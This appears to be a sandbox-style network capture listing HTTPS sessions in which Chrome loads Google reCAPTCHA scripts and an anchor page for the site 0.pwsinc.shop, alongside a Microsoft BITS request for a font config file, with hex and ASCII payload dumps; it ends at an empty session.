Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	142.250.186.36	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:16 UTC	451	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:17 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Tue, 01 Oct 2024 13:37:17 GMT Date: Tue, 01 Oct 2024 13:37:17 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:17 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-10-01 13:37:17 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2024-10-01 13:37:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 13:37:17 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=184113 Date: Tue, 01 Oct 2024 13:37:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:17 UTC	941	OUT	GET /recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvy HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://0.pwsinc.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:18 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 13:37:18 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-h0OSGbPRj3ujtTeRNc_3bg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:18 UTC	229	IN	Data Raw: 35 37 35 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 Data Ascii: 5752<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cy
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 Data Ascii: rillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A64
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 Data Ascii: s.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqE
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 37 34 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 Data Ascii: 0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUt
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 Data Ascii: 8-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/r
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 22 68 69 64 64 65 6e 22 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 2d 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 30 33 41 46 63 57 65 41 36 47 67 6e 31 4f 6f 6d 55 70 6c 50 45 35 31 64 66 69 69 79 62 2d 5f 34 47 59 52 6e 54 75 39 77 58 51 6d 79 77 50 2d 6f 36 4b 64 49 47 36 52 63 4c 49 32 72 78 46 6b 6c 58 39 75 45 48 36 48 54 69 39 32 4b 31 4e 50 54 57 78 49 5a 73 76 64 6a 4c 52 50 36 53 56 78 76 45 59 43 4e 78 72 72 4d 4c 75 77 61 39 4b 5f 57 35 54 48 56 6c 4c 4d 7a 44 6f 72 48 75 5f 4d 6b 52 43 30 6c 48 54 35 45 30 55 51 63 53 4d 79 42 46 56 64 4b 78 59 44 34 43 2d 31 53 46 69 45 6f 55 76 5f 50 61 66 35 68 34 5f 67 79 77 52 48 6e 6d 6b 34 6a 69 68 66 75 30 55 74 46 4c 6a 6c 78 49 43 2d 6d 68 7a 30 74 30 51 6e 41 42 64 52 65 38 37 58 6b 74 52 35 52 31 72 Data Ascii: "hidden" id="recaptcha-token" value="03AFcWeA6Ggn1OomUplPE51dfiiyb-_4GYRnTu9wXQmywP-o6KdIG6RcLI2rxFklX9uEH6HTi92K1NPTWxIZsvdjLRP6SVxvEYCNxrrMLuwa9K_W5THVlLMzDorHu_MkRC0lHT5E0UQcSMyBFVdKxYD4C-1SFiEoUv_Paf5h4_gywRHnmk4jihfu0UtFLjlxIC-mhz0t0QnABdRe87XktR5R1r
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 71 4f 55 4a 74 5f 6c 65 45 61 50 50 55 54 47 56 70 51 4d 54 67 50 50 6b 67 66 43 61 64 79 64 59 72 61 54 31 4a 75 57 6a 4f 7a 61 31 75 44 64 38 71 46 42 41 49 5a 37 65 42 45 68 51 70 67 5f 37 46 47 64 4a 7a 6e 36 4f 5f 61 59 5f 79 4a 5f 74 37 41 67 43 46 74 32 74 74 72 6f 48 34 30 31 4f 50 36 75 5a 34 46 78 69 53 55 37 57 68 57 38 67 6e 4c 64 51 65 6f 5f 74 46 32 38 34 30 4d 33 4d 37 55 5f 73 6c 4c 57 6b 51 6c 65 30 72 57 41 76 55 38 56 37 69 72 32 72 61 4d 6d 59 59 65 35 63 47 68 58 48 5f 35 67 71 70 77 4a 6b 76 57 69 72 41 77 56 6f 65 6f 39 56 48 77 61 32 36 45 7a 4b 36 75 6e 4f 5f 35 67 54 64 54 6c 36 42 6b 4f 73 74 4f 4e 74 61 4a 76 76 4c 50 62 47 71 45 44 63 70 43 6e 68 6a 47 51 6c 66 64 47 70 72 4a 30 68 45 67 6d 30 65 54 4b 6e 63 52 56 63 75 49 56 Data Ascii: qOUJt_leEaPPUTGVpQMTgPPkgfCadydYraT1JuWjOza1uDd8qFBAIZ7eBEhQpg_7FGdJzn6O_aY_yJ_t7AgCFt2ttroH401OP6uZ4FxiSU7WhW8gnLdQeo_tF2840M3M7U_slLWkQle0rWAvU8V7ir2raMmYYe5cGhXH_5gqpwJkvWirAwVoeo9VHwa26EzK6unO_5gTdTl6BkOstONtaJvvLPbGqEDcpCnhjGQlfdGprJ0hEgm0eTKncRVcuIV
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 35 54 32 56 35 4b 7a 59 77 62 55 74 50 63 6d 70 59 52 6c 45 35 57 44 52 31 57 6b 70 75 63 53 74 61 54 6d 56 4b 65 57 68 6b 61 57 55 34 5a 55 74 69 4f 44 63 33 59 6c 56 6a 51 31 42 32 4d 47 56 58 4f 57 78 52 63 32 68 4a 53 57 56 54 63 46 42 44 57 56 64 6d 52 45 68 4e 63 47 31 32 64 31 68 72 63 6c 70 55 4f 44 64 48 52 33 70 56 56 54 56 78 57 47 46 4e 52 30 74 73 61 6e 5a 46 65 45 5a 69 53 44 41 34 4f 57 68 59 52 6c 5a 57 64 43 74 4a 53 46 46 51 55 6a 4e 59 4d 48 52 42 4b 33 4a 50 4e 44 6b 78 52 47 68 72 53 45 70 51 62 6c 52 50 55 57 74 42 4b 32 5a 4f 59 58 45 31 53 32 67 30 63 55 35 58 59 57 4e 77 54 48 68 71 64 58 45 77 56 6d 70 78 4e 6c 42 4b 53 55 52 59 5a 48 46 31 5a 47 31 42 61 45 4a 73 64 30 34 34 53 6c 52 7a 55 33 4a 4e 51 31 70 4d 4b 7a 4e 6e 56 43 Data Ascii: 5T2V5KzYwbUtPcmpYRlE5WDR1WkpucStaTmVKeWhkaWU4ZUtiODc3YlVjQ1B2MGVXOWxRc2hJSWVTcFBDWVdmREhNcG12d1hrclpUODdHR3pVVTVxWGFNR0tsanZFeEZiSDA4OWhYRlZWdCtJSFFQUjNYMHRBK3JPNDkxRGhrSEpQblRPUWtBK2ZOYXE1S2g0cU5XYWNwTHhqdXEwVmpxNlBKSURYZHF1ZG1BaEJsd044SlRzU3JNQ1pMKzNnVC
2024-10-01 13:37:18 UTC	1390	IN	Data Raw: 6e 45 76 4e 57 4a 4d 4f 56 52 55 53 30 4e 52 55 47 39 46 56 58 70 54 53 44 68 6b 64 55 64 4d 57 44 6c 72 63 54 42 4d 64 6b 31 49 54 79 38 77 4e 7a 56 33 62 46 68 73 57 6b 70 4f 55 44 41 34 55 6b 49 79 51 56 4a 42 53 6c 6f 7a 62 7a 6c 78 52 58 4d 79 52 6b 55 32 4e 32 52 6b 5a 58 4e 69 51 6e 55 78 4f 47 51 35 64 6c 63 30 65 48 4d 7a 59 33 42 45 62 30 4a 43 54 46 70 77 64 6d 46 36 55 46 52 6e 57 6d 31 76 52 6b 31 68 56 55 73 31 61 44 63 77 55 54 45 72 4d 44 52 4e 64 6a 45 30 59 55 31 7a 65 6c 56 4e 62 47 35 57 55 30 6f 79 4e 54 45 7a 53 56 46 35 56 46 59 34 64 6e 5a 31 5a 33 68 54 53 6d 68 32 62 6a 46 4f 57 57 64 58 61 44 59 35 4e 33 55 77 59 57 5a 49 62 57 38 79 57 6e 4e 54 55 45 70 69 51 56 64 78 4d 55 39 76 61 30 6c 33 61 48 52 4a 51 55 64 44 5a 56 68 74 Data Ascii: nEvNWJMOVRUS0NRUG9FVXpTSDhkdUdMWDlrcTBMdk1ITy8wNzV3bFhsWkpOUDA4UkIyQVJBSlozbzlxRXMyRkU2N2RkZXNiQnUxOGQ5dlc0eHMzY3BEb0JCTFpwdmF6UFRnWm1vRk1hVUs1aDcwUTErMDRNdjE0YU1zelVNbG5WU0oyNTEzSVF5VFY4dnZ1Z3hTSmh2bjFOWWdXaDY5N3UwYWZIbW8yWnNTUEpiQVdxMU9va0l3aHRJQUdDZVht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 13:37:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=184056 Date: Tue, 01 Oct 2024 13:37:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-01 13:37:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:20 UTC	844	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvy Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:21 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Tue, 01 Oct 2024 13:37:21 GMT Date: Tue, 01 Oct 2024 13:37:21 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:21 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 78 64 73 30 72 7a 47 72 6b 74 52 38 38 75 45 5a 32 4a 55 76 64 67 4f 59 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js');
2024-10-01 13:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
